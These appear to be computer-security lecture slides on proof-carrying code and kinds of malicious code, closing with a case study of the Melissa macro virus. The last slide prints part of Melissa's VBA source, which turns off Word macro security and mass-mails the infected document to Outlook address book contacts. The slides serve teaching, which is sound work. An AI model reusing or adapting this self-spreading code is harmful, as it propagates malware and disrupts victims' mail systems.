Announcements

• Midterm 2 is graded
  – High score was 92/100
  – Mean was 72/100

• Project 3 is due today

• Project 4 will be on the web this afternoon
  – Due: December 10th (last day of class)

• Change of HW schedule
  – HW 6 will go out on Monday
  – May drop HW 7, depending on timing…
Midterm 2 breakdown

Rough grading scale:
D: < 50
C: 50—70
B: 70—80
A: > 80
Software Deployment Architecture

- Trusted Computing Base
  - Becomes huge when software is run on many, many hosts
- Minimize TCB:
  - Ensure the quality of the software
- Must be cheap, easy to deploy
  - Otherwise won’t be adopted
Proof Carrying Code

[Necula & Lee ‘97, Morrisett ‘98, Appel...]

- Verify a provided proof of program security
  - Meaning of the proof connected to meaning of program (unlike signatures)
  - Up to code producer to generate proof
  - Consumer only has to check the proof

- Verifier is small
  - 3000 LOC
PCC: An Analogy

Legend:  

- code
- proof
PCC Advantages

• Reduces the TCB
  – Verification is simpler/faster than proof generation.
  – Consumer is independent of how the proof is generated ⇒ compiler not trusted.

• Tamperproof
  – Changing the proof or program is either (1) detected or (2) proven to be OK.

• No cryptography, no trusted 3rd party
• No run-time overhead
  – Static checking
PCC Engineering Challenges

• Where do you get the proof?
  – Programmer & compiler
  – Automated techniques needed

• Dealing with formal proofs
  – Must be machine checkable
  – Naive encoding of proofs of program properties are very large.
    • Careful engineering reduces overhead

• Touchstone Compiler [Necula & Lee]
  – Java to Intel x86 assembly language
  – Enforces Java’s security policy without byte code interpreter or large trusted JIT
Malicious Code

- Trapdoors  (debugging modes)
- Trojan Horses  (e.g. Web sites with exploits)
- Worms  (e.g. Sasser)
- Viruses  (e.g. Bagle MyDoom mail virus)

- The distinction between worms and viruses is somewhat fuzzy
Trapdoors

• A *trapdoor* is a secret entry point into a module
  – Affects a particular system

• Inserted during code development
  – Accidentally (forget to remove debugging code)
  – Intentionally (maintenance)
  – Maliciously (an insider creates a hole)
Trojan Horse

- A program that pretends to be do one thing when it does another
  - Or does more than advertised

- Login Prompts
  - Trusted path
- Accounting software
- Example:
  - Game that doubles as a sshd process.
Worms (In General)

• Self-contained running programs
  – Unlike viruses

• Infection strategy more active
  – Exploit buffer overflows
  – Exploit bad password choice

• Defenses
  – Monitor system resources
  – Proper access control
Viruses

• A *computer virus* is a (malicious) program
  – Creates (possibly modified) copies of itself
  – Attaches to a host program or data
  – Often has other effects (deleting files, “jokes”, messages)

• Viruses cannot propagate without a “host”
  – Typically require some user action to activate
Virus Writer’s Goals

- Hard to detect
- Hard to destroy or deactivate
- Spreads infection widely/quickly
- Can reinfect a host
- Easy to create
- Machine/OS independent
Kinds of Viruses

• Boot Sector Viruses
  – Historically important, but less common today

• Memory Resident Viruses
  – Standard infected executable

• Macro Viruses
  – Embedded in documents (like Word docs)
Bootstrap Viruses

- **Bootstrap Process:**
  - Firmware (ROM) copies MBR (master boot record) to memory, jumps to that program

- **MBR (or Boot Sector):**
  - Fixed position on disk
  - “Chained” boot sectors permit longer Bootstrap Loaders
Bootstrap Viruses

- Virus breaks the chain
- Inserts virus code
- Reconnects chain afterwards
Why the Bootstrap?

- Automatically executed *before* OS is running
  - Also before detection tools are running
- OS hides boot sector information from users
  - Hard to discover that the virus is there
  - Harder to fix

- Any good virus scanning software scans the boot sectors
Virus Attachment to Host Code

- Simplest case: insert copy at the beginning of an executable file
  - Runs before other code of the program
  - Most common program virus
- Runs before & after original program
  - Virus can clean up after itself
- Virus could modify code in place
  - Doesn’t change size, but could change behavior
  - Maybe harder to detect?
Other Homes for Viruses

• System Software
  – IO.sys, NTLDR, NTDETECT.COM
  – autoexec.bat, config.sys, command.com

• Memory resident software
  – Task manager
  – Window manager
  – Winamp
  – RealPlayer
  – …
Macro Viruses

• Macros are just programs
• Word processors & Spreadsheets
  – Startup macro
  – Macros turned on by default

• Visual Basic Script (VBScript)
Melissa Virus

• Transmission Rate
  – The first confirmed reports of Melissa were received on Friday, March 26, 1999.
  – By Monday, March 29, it had reached more than 100,000 computers.
  – One site got 32,000 infected messages in 45 minutes.

• Damage
  – Denial of service: mail systems off-line.
  – Could have been much worse

• Remedy
  – Filter mail for virus signature (macro in .doc files)
  – Clean Normal.doc
Melissa Macro Virus

• Implementation
  – VBA (Visual Basic for Applications) code associated with the "document.open" method of Word

• Strategy
  – Email message containing an infected Word document as an attachment
  – Opening Word document triggers virus if macros are enabled
  – Under certain conditions included attached documents created by the victim
Melissa Macro Virus: Behavior

• Setup
  – lowers the macro security settings
  – permit all macros to run without warning
  – Checks registry for key value “… by Kwyjibo”
    – HKEY_Current_User\Software\Microsoft\Office\Melissa?

• Propagation
  – sends email message to the first 50 entries in every Microsoft Outlook MAPI address book readable by the user executing the macro
Melissa Macro Virus: Behavior

• Propagation Continued
  – Infects Normal.doc template file
  – Normal.doc is used by all Word documents

• “Joke”
  – If minute matches the day of the month, the macro inserts message “Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.”
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
Else
CommandBars("Tools").Controls("Macro").Enabled = False
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
        Next oo
        BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
        BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
        BreakUmOffASlice.Send
        Peep = ""
    Next y
End If